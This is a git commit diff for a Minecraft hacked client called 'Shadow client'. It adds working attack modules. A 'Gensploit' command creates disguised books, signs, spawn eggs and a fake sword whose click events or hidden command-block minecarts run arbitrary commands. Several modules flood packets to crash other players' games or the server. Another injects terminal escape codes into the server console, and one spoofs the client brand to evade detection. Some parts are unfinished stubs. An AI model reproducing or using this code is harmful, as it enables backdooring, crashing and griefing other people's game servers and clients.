gensploit.java needs fixes

This commit is contained in:
Saturn5Vfive 2022-04-24 03:19:24 -05:00
parent efeecc0de4
commit adb71e8b6a
10 changed files with 653 additions and 10 deletions

View file

@ -0,0 +1,161 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.command.impl;
import net.minecraft.world.GameMode;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.coloring.ArgumentType;
import net.shadow.client.feature.command.coloring.PossibleArgument;
import net.shadow.client.feature.command.coloring.StaticArgumentServer;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.gui.notifications.Notification;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.StringNbtReader;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.util.Identifier;
import net.minecraft.util.registry.Registry;
import java.util.Arrays;
public class Gensploit extends Command {
Item item = Registry.ITEM.get(new Identifier("written_book"));
ItemStack stack = new ItemStack(item, 1);
NbtCompound tag;
public Gensploit() {
super("Gensploit", "Generate backdoor exploits really fast", "gs", "gensploit", "gsploit");
}
@Override
public ExamplesEntry getExampleArguments() {
//you and your horrible fucking example server shit can go burn in hell fuck this i'm makint it later
//return new ExamplesEntry();
return null;
}
@Override
public PossibleArgument getSuggestionsWithType(int index, String[] args) {
//return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, ));
return null;
}
@Override
public void onExecute(String[] args) throws CommandException {
String itemname = ""; // find way to compile between the "" for these
String mode = args[0];
String text = ""; // find way to compile between the "" for these
String command = "";// find way to compile between the "" for these
String bookauthor = client.player.getGameProfile().getName();
switch (mode) {
case "book" -> {
try {
item = Registry.ITEM.get(new Identifier("written_book"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{title:\"" + itemname + "\",author:\"" + bookauthor + "\",pages:['{\"text\":\"" + text + " \",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + command + "\"}}','{\"text\":\"\"}','{\"text\":\"\"}']}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "Book Exploit Created");
} catch (Exception ignored) {
}
}
case "sign" -> {
try {
item = Registry.ITEM.get(new Identifier("oak_sign"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{display:{Name:'{\"text\":\"" + itemname + "\"}'},BlockEntityTag:{Text1:'{\"text\":\"" + text + "\",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + command + "\"}}'}}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "Sign Exploit Created");
} catch (Exception ignored) {
}
}
case "command block" -> {
try {
item = Registry.ITEM.get(new Identifier("command_block"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{display:{Name:'{\"text\":\"" + itemname + "\"}'},BlockEntityTag:{Command:\"" + command + "\",powered:0b,auto:1b}}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "Command Block Exploit Created");
} catch (Exception ignored) {
}
}
case "spawn egg" -> {
try {
item = Registry.ITEM.get(new Identifier("cow_spawn_egg"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{display:{Name:'{\"text\":\"" + itemname + "\"}'},EntityTag:{id:\"minecraft:falling_block\",BlockState:{Name:\"minecraft:spawner\"},TileEntityData:{SpawnCount:8,SpawnRange:5,Delay:0,MinSpawnDelay:100,MaxSpawnDelay:100,MaxNearbyEntities:50,RequiredPlayerRange:50,SpawnData:{id:\"minecraft:falling_block\",BlockState:{Name:\"minecraft:redstone_block\"},Time:200,Passengers:[{id:\"minecraft:armor_stand\",Health:0f,Passengers:[{id:\"minecraft:falling_block\",BlockState:{Name:\"minecraft:activator_rail\",Properties:{powered:\"true\"}},Time:1,Passengers:[{id:\"minecraft:command_block_minecart\",Command:\"" + command + "\"}]}]}]}},Time:200}}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "Spawn Egg Exploit Created");
} catch (Exception ignored) {
}
}
case "sudosword" -> {
try {
item = Registry.ITEM.get(new Identifier("emerald"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{Enchantments:[{id:\"minecraft:sharpness\",lvl:255s}],display:{Name:'[{\"text\":\"Diamond Sword]\",\"color\":\"reset\",\"italic\":false},{\"text\":\"\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n[\",\"color\":\"reset\",\"italic\":false},{\"text\":\"" + text + " " + itemname + "\",\"color\":\"red\",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + command + "\"}}]'}}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "SudoSword Exploit Created");
} catch (Exception ignored) {
}
}
case "silent egg" -> {
try {
item = Registry.ITEM.get(new Identifier("cow_spawn_egg"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{display:{Name:'{\"text\":\"" + itemname + "\"}'},EntityTag:{Command:\"" + command + "\",Invulnerable:1b,Pos:[4.5d,1.0d,20.5d],id:\"minecraft:command_block_minecart\"}}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "Silent Egg Exploit Created");
} catch (Exception ignored) {
}
}
case "spawner" -> {
try {
item = Registry.ITEM.get(new Identifier("spawner"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{display:{Name:'{\"text\":\"" + itemname + "\"}'},BlockEntityTag:{SpawnCount:4,SpawnRange:10,Delay:1,MinSpawnDelay:1,MaxSpawnDelay:1,MaxNearbyEntities:32767,RequiredPlayerRange:32767,SpawnData:{id:\"minecraft:pig\",Passengers:[{id:\"minecraft:falling_block\",BlockState:{Name:\"minecraft:redstone_block\"},Time:1,Passengers:[{id:\"minecraft:armor_stand\",Health:0f,Passengers:[{id:\"minecraft:falling_block\",BlockState:{Name:\"minecraft:activator_rail\"},Time:1,Passengers:[{id:\"minecraft:command_block_minecart\",Command:\"" + command + "\"}]}]}]}]},SpawnPotentials:[{Weight:1,Entity:{id:\"minecraft:pig\",Passengers:[{id:\"minecraft:falling_block\",BlockState:{Name:\"minecraft:redstone_block\"},Time:1,Passengers:[{id:\"minecraft:armor_stand\",Health:0f,Passengers:[{id:\"minecraft:falling_block\",BlockState:{Name:\"minecraft:activator_rail\"},Time:1,Passengers:[{id:\"minecraft:command_block_minecart\",Command:\"" + command + "\"}]}]}]}]}}]}}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "Spawner Exploit Created");
} catch (Exception ignored) {
}
}
case "lectern" -> {
try {
item = Registry.ITEM.get(new Identifier("lectern"));
stack = new ItemStack(item, 1);
tag = StringNbtReader.parse("{BlockEntityTag:{Book:{id:\"minecraft:written_book\",Count:1b,tag:{title:\"\",author:\"\",pages:['{\"text\":\"" + text + " \",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + command + "\"}}','{\"text\":\"\"}']}}}}");
stack.setNbt(tag);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
Notification.create(1000, "Gensploit", Notification.Type.INFO, "Lectern Exploit Created");
} catch (Exception ignored) {
}
}
}
}
}

View file

@ -22,6 +22,9 @@ import net.shadow.client.feature.module.impl.combat.Velocity;
import net.shadow.client.feature.module.impl.crash.AnimationCrash;
import net.shadow.client.feature.module.impl.crash.ArmorStandCrash;
import net.shadow.client.feature.module.impl.crash.BookInflaterCrash;
import net.shadow.client.feature.module.impl.crash.ClientCrasher;
import net.shadow.client.feature.module.impl.crash.CraftCrash;
import net.shadow.client.feature.module.impl.crash.EntityCrash;
import net.shadow.client.feature.module.impl.crash.FlightCrash;
import net.shadow.client.feature.module.impl.crash.InteractCrash;
import net.shadow.client.feature.module.impl.crash.LecternCrash;
@ -32,13 +35,14 @@ import net.shadow.client.feature.module.impl.exploit.AntiAntiXray;
import net.shadow.client.feature.module.impl.exploit.AntiRDI;
import net.shadow.client.feature.module.impl.exploit.BoatCrash;
import net.shadow.client.feature.module.impl.exploit.BoatFling;
import net.shadow.client.feature.module.impl.exploit.BrandSpoof;
import net.shadow.client.feature.module.impl.exploit.CarpetBomb;
import net.shadow.client.feature.module.impl.exploit.ChunkCrash;
import net.shadow.client.feature.module.impl.exploit.ConsoleSpammer;
import net.shadow.client.feature.module.impl.exploit.FilterBypass;
import net.shadow.client.feature.module.impl.exploit.InstaBow;
import net.shadow.client.feature.module.impl.exploit.OffhandCrash;
import net.shadow.client.feature.module.impl.exploit.PingSpoof;
import net.shadow.client.feature.module.impl.exploit.VanillaSpoof;
import net.shadow.client.feature.module.impl.grief.Annihilator;
import net.shadow.client.feature.module.impl.grief.AutoFireball;
import net.shadow.client.feature.module.impl.grief.AutoIgnite;
@ -54,6 +58,7 @@ import net.shadow.client.feature.module.impl.misc.AntiPacketKick;
import net.shadow.client.feature.module.impl.misc.ClientSettings;
import net.shadow.client.feature.module.impl.misc.DiscordRPC;
import net.shadow.client.feature.module.impl.misc.InfChatLength;
import net.shadow.client.feature.module.impl.misc.ItemPuke;
import net.shadow.client.feature.module.impl.misc.MoreChatHistory;
import net.shadow.client.feature.module.impl.misc.NoTitles;
import net.shadow.client.feature.module.impl.misc.PortalGUI;
@ -226,7 +231,7 @@ public class ModuleRegistry {
registerModule(OffhandCrash.class);
registerModule(OOBCrash.class);
registerModule(Phase.class);
registerModule(VanillaSpoof.class);
registerModule(BrandSpoof.class);
registerModule(XRAY.class);
registerModule(Decimator.class);
registerModule(ClickGUI.class);
@ -333,6 +338,11 @@ public class ModuleRegistry {
registerModule(ClickTP.class);
registerModule(ChestHighlighter.class);
registerModule(MoreChatHistory.class);
registerModule(ClientCrasher.class);
registerModule(ConsoleSpammer.class);
registerModule(CraftCrash.class);
registerModule(ItemPuke.class);
registerModule(EntityCrash.class);
rebuildSharedModuleList();
}
@ -350,7 +360,7 @@ public class ModuleRegistry {
ShadowMain.log(Level.INFO, "Locking for some time for reload to complete");
long lockStart = System.currentTimeMillis();
long lockStartns = System.nanoTime();
while (reloadInProgress.get()) {
while (reloadInProgress.get()) {
Thread.onSpinWait();
}
ShadowMain.log(Level.INFO, "Lock opened within " + (System.currentTimeMillis() - lockStart) + " ms (" + (System.nanoTime() - lockStartns) + " ns)");

View file

@ -5,18 +5,145 @@
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket;
import net.minecraft.util.Hand;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import java.util.Random;
import net.minecraft.item.BlockItem;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.StringNbtReader;
import net.minecraft.network.Packet;
import net.minecraft.network.packet.c2s.play.*;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.math.Vec3d;
import java.util.List;
import java.util.*;
public class ClientCrasher extends Module {
BlockPos selectedbreaker;
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Offhand).name("Mode").description("How to crash").get());
final DoubleSetting power = this.config.create(new DoubleSetting.Builder(1000).min(5).max(2000).name("Power").description("How much power to crash with").get());
public ClientCrasher() {
super("ClientCrasher", "crash ppls games", ModuleType.CRASH);
super("ClientCrasher", "Crash players games", ModuleType.CRASH);
Events.registerEventHandlerClass(this);
}
@EventListener(type=EventType.PACKET_SEND)
void giveAShit(PacketEvent event){
if(mode.getValue() != Mode.Place) return;
if(!this.isEnabled())return;
if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet))
return;
if (!(packet instanceof PlayerMoveC2SPacket.PositionAndOnGround || packet instanceof PlayerMoveC2SPacket.Full))
return;
if (client.player.input == null) {
event.setCancelled(true);
return;
}
event.setCancelled(false);
double x = packet.getX(0);
double y = packet.getY(0);
double z = packet.getZ(0);
Packet<?> newPacket;
Random r = new Random();
if (packet instanceof PlayerMoveC2SPacket.PositionAndOnGround)
newPacket = new PlayerMoveC2SPacket.PositionAndOnGround(x, y + r.nextDouble(), z, true);
else
newPacket = new PlayerMoveC2SPacket.Full(x, y + r.nextDouble(), z, packet.getYaw(0),
packet.getPitch(0), true);
client.player.networkHandler.getConnection().send(newPacket);
}
@Override
public void tick() {
switch(mode.getValue()){
case Offhand -> {
for(int i = 0; i < power.getValue(); i++){
client.player.networkHandler.sendPacket(new PlayerActionC2SPacket(PlayerActionC2SPacket.Action.SWAP_ITEM_WITH_OFFHAND, client.player.getBlockPos(), Direction.UP));
}
}
case Place -> {
client.player.updatePosition(selectedbreaker.getX() + 0.5, selectedbreaker.getY() + 1, selectedbreaker.getZ() + 0.5);
int b4slot = client.player.getInventory().selectedSlot;
int slot = TheJ();
if (slot == -1) return;
if (client.player.world.getBlockState(selectedbreaker).isAir()) {
client.player.getInventory().selectedSlot = slot;
client.interactionManager.interactBlock(client.player, client.world, Hand.MAIN_HAND, new BlockHitResult(new Vec3d(selectedbreaker.getX(), selectedbreaker.getY(), selectedbreaker.getZ()).add(0.5, 0.5, 0.5), Direction.UP, selectedbreaker, false));
client.player.getInventory().selectedSlot = b4slot;
return;
}
client.getNetworkHandler().sendPacket(new PlayerActionC2SPacket(PlayerActionC2SPacket.Action.STOP_DESTROY_BLOCK, selectedbreaker, Direction.UP));
client.interactionManager.updateBlockBreakingProgress(selectedbreaker, Direction.UP);
}
case Lagbook -> {
if (client.player.getInventory().getMainHandStack().getItem() != Items.WRITABLE_BOOK) {
Notification.create(1000, "Lagbook", Notification.Type.ERROR, "hold a book and quill in your main hand");
return;
}
String bigstring = "W".repeat(128);
Optional<String> title = Optional.of("\u00a7k" + bigstring);
List<String> pages = List.of("Very Cool Book");
client.player.networkHandler.sendPacket(new BookUpdateC2SPacket(client.player.getInventory().selectedSlot, pages, title));
Notification.create(1000, "Lagbook", Notification.Type.SUCCESS, "wrote book!");
this.setEnabled(false);
}
case Poof -> {
new Thread(() -> {
ItemStack stack = new ItemStack(Items.PLAYER_HEAD, 1);
Notification.create(1000, "Poof", Notification.Type.SUCCESS, "this only works on 1.16.5 players!");
try {
stack.setNbt(StringNbtReader.parse("{SkullOwner:{Id:[I;-11783291,-84552235,-74553283,-84863242],Properties:{textures:[{Value:\"eyJ0ZXh0dXJlcyI6eyJTS0lOIjp7InVybCI6Imh0dHBzOi8vZWR1Y2F0aW9uLm1pbmVjcmFmdC5uZXQvd3AtY29udGVudC91cGxvYWRzLzFweC5wbmcifX19\"}]},Name:\"Poof\"},display:{Name:'{\"text\":\"Poof\"}'}}"));
} catch (Exception ignored) {
}
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(5, stack));
try {
Thread.sleep(500);
} catch (Exception ignored) {
}
ItemStack LITERALAIR = new ItemStack(Items.AIR, 1);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(5, LITERALAIR));
}).start();
this.setEnabled(false);
}
}
}
private int TheJ() {
for (int i = 0; i < 9; i++) {
ItemStack stack = client.player.getInventory().getStack(i);
if (stack.isEmpty() || !(stack.getItem() instanceof BlockItem))
continue;
return i;
}
return -1;
}
@Override
@ -43,6 +170,9 @@ public class ClientCrasher extends Module {
}
public enum Mode {
Place,
Offhand,
Lagbook,
Poof
}
}

View file

@ -0,0 +1,87 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import net.minecraft.client.gui.screen.ingame.CraftingScreen;
import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket;
import net.minecraft.recipe.Recipe;
public class CraftCrash extends Module {
int ticks;
boolean isListening = false;
Recipe stick = null;
Recipe buton = null;
int superticks;
public CraftCrash() {
super("CraftCrash", "Crash the server with rapid crafting", ModuleType.CRASH);
Events.registerEventHandlerClass(this);
}
@EventListener(type=EventType.PACKET_SEND)
public void onPacketSend(PacketEvent event){
if(!this.isEnabled()) return;
if (event.getPacket() instanceof CraftRequestC2SPacket packet) {
if (isListening) {
if (stick == null) {
stick = client.player.world.getRecipeManager().get(packet.getRecipe()).get();
Notification.create(1000, "CraftCrash", Notification.Type.INFO, "Selected first recipe");
} else {
buton = client.player.world.getRecipeManager().get(packet.getRecipe()).get();
Notification.create(1000, "CraftCrash", Notification.Type.INFO, "Selected second recipe");
Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Starting the crash!");
isListening = false;
}
}
}
}
@Override
public void tick() {
if (client.currentScreen instanceof CraftingScreen && !isListening) {
int sync = client.player.currentScreenHandler.syncId;
superticks++;
if (superticks % 15 == 0) {
for (int i = 0; i < 3; i++) {
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, stick, true));
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, buton, true));
}
}
}
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -0,0 +1,71 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.entity.Entity;
import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
import net.minecraft.world.World;
public class EntityCrash extends Module {
Entity target = null;
final DoubleSetting repeat = this.config.create(new DoubleSetting.Builder(2000).min(500).max(10000).name("Power").description("how fast to crash").get());
public EntityCrash() {
super("Template", "template", ModuleType.CRASH);
}
public Entity getNearestLikelyEntity() {
for (Entity ent : client.world.getEntities()) {
if (distanceTo(ent) > 5 || ent == client.player) continue;
return ent;
}
return null;
}
public double distanceTo(Entity e) {
float f = (float) (client.player.getX() - e.getX());
float g = (float) (client.player.getY() - e.getY());
float h = (float) (client.player.getZ() - e.getZ());
return Math.sqrt(f * f + g * g + h * h);
}
@Override
public void tick() {
target = getNearestLikelyEntity();
if (target == null) return;
for (int i = 0; i < repeat.getValue(); i++) {
client.player.networkHandler.sendPacket(PlayerInteractEntityC2SPacket.attack(target, client.player.isSneaking()));
}
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -8,6 +8,7 @@ import io.netty.buffer.Unpooled;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.network.PacketByteBuf;
import net.minecraft.network.packet.c2s.play.CustomPayloadC2SPacket;
import net.shadow.client.feature.config.StringSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventType;
@ -17,10 +18,12 @@ import net.shadow.client.mixin.ICustomPayloadC2SPacketAccessor;
import java.nio.charset.StandardCharsets;
public class VanillaSpoof extends Module {
public class BrandSpoof extends Module {
public VanillaSpoof() {
super("VanillaSpoof", "Tells the server you're on vanilla", ModuleType.EXPLOIT);
final StringSetting brand = this.config.create(new StringSetting.Builder("vanilla").name("Brand").description("What brand to spoof the client to").get());
public BrandSpoof() {
super("BrandSpoof", "Tells the server you're on a different client brand", ModuleType.EXPLOIT);
Events.registerEventHandler(EventType.PACKET_SEND, event1 -> {
if (!this.isEnabled()) {
return;
@ -29,7 +32,7 @@ public class VanillaSpoof extends Module {
if (event.getPacket() instanceof CustomPayloadC2SPacket packet) {
ICustomPayloadC2SPacketAccessor accessor = (ICustomPayloadC2SPacketAccessor) packet;
if (accessor.getChannel().equals(CustomPayloadC2SPacket.BRAND)) {
accessor.setData(new PacketByteBuf(Unpooled.buffer()).writeString("vanilla"));
accessor.setData(new PacketByteBuf(Unpooled.buffer()).writeString(brand.getValue()));
} else if (accessor.getData().toString(StandardCharsets.UTF_8).toLowerCase().contains("fabric")) {
event.setCancelled(true);
}

View file

@ -0,0 +1,104 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.exploit;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import com.mojang.brigadier.exceptions.CommandSyntaxException;
import org.lwjgl.system.CallbackI.S;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.shadow.client.mixin.IdentifierAccessor;
import net.minecraft.nbt.NbtString;
import net.minecraft.network.PacketByteBuf;
import net.minecraft.network.packet.c2s.play.*;
import net.minecraft.util.Identifier;
public class ConsoleSpammer extends Module {
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Move).name("Mode").description("How to exploit").get());
public ConsoleSpammer() {
super("ConsoleSpammer", "Spam the console of the server you're on", ModuleType.EXPLOIT);
}
@Override
public void tick() {
switch(mode.getValue()){
case Book -> {
if(!client.player.getInventory().getStack(36).getItem().equals(Items.KNOWLEDGE_BOOK)){
ItemStack consolespammer = new ItemStack(Items.KNOWLEDGE_BOOK, 1);
NbtCompound compound = new NbtCompound();
for (int i = 0; i < 25; i++) {
compound.put("tag", NbtString.of("__________".repeat(50)));
}
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36, consolespammer));
}
int s = client.player.getInventory().selectedSlot;
client.player.networkHandler.sendPacket(new UpdateSelectedSlotC2SPacket(0));
client.player.networkHandler.sendPacket(new UpdateSelectedSlotC2SPacket(s));
}
case Merchant -> {
for(int i = 0; i < 5; i++) client.player.networkHandler.sendPacket(new SelectMerchantTradeC2SPacket(-1));
}
case Move -> {
for(int i = 0; i < 4; i++) client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(client.player.getX(), 9999999, client.player.getZ(), false));
}
case BadPackets -> {
Identifier sysinfo = new Identifier("minecraft:code");
((IdentifierAccessor) sysinfo).setPath("\033\143\033\133\061\073\063\061\155");
AdvancementTabC2SPacket exploit1 = new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, sysinfo);
CustomPayloadC2SPacket exploit2 = new CustomPayloadC2SPacket(sysinfo, new PacketByteBuf(Unpooled.buffer()));
client.getNetworkHandler().sendPacket(exploit1);
client.getNetworkHandler().sendPacket(exploit2);
Notification.create(1000, "ConsoleSpammer", Notification.Type.SUCCESS, "Sent Bad Packets");
this.setEnabled(false);
}
}
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
public enum Mode{
Book,
Merchant,
Move,
BadPackets
}
}

View file

@ -0,0 +1,62 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.misc;
import java.util.Random;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket.Action;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.registry.Registry;
public class ItemPuke extends Module {
final DoubleSetting speed = this.config.create(new DoubleSetting.Builder(2).min(1).max(30).name("Speed").description("How fast to drop items").get());
private final Random r = new Random();
public ItemPuke() {
super("ItemPuke", "throw out items really fast in creative", ModuleType.MISC);
}
@Override
public void tick() {
for (int i = 0; i < speed.getValue(); i++) {
ItemStack j = new ItemStack(Registry.ITEM.get(Registry.ITEM.getRandom(r).get().getKey().get().getValue()), 64);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(client.player.getInventory().selectedSlot + 36, j));
client.player.networkHandler.sendPacket(new PlayerActionC2SPacket(Action.DROP_ALL_ITEMS, new BlockPos(0, 0, 0), Direction.UP));
}
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -0,0 +1,14 @@
package net.shadow.client.mixin;
import net.minecraft.util.Identifier;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.gen.Accessor;
@Mixin(Identifier.class)
public interface IdentifierAccessor {
//oh allah
@Accessor("path")
void setPath(String path);
}

View file

@ -68,7 +68,8 @@
"SliderWidgetMixin",
"TitleScreenMixin",
"WorldRendererAccessor",
"WorldRendererMixin"
"WorldRendererMixin",
"IdentifierAccessor"
],
"client": [],
"server": [],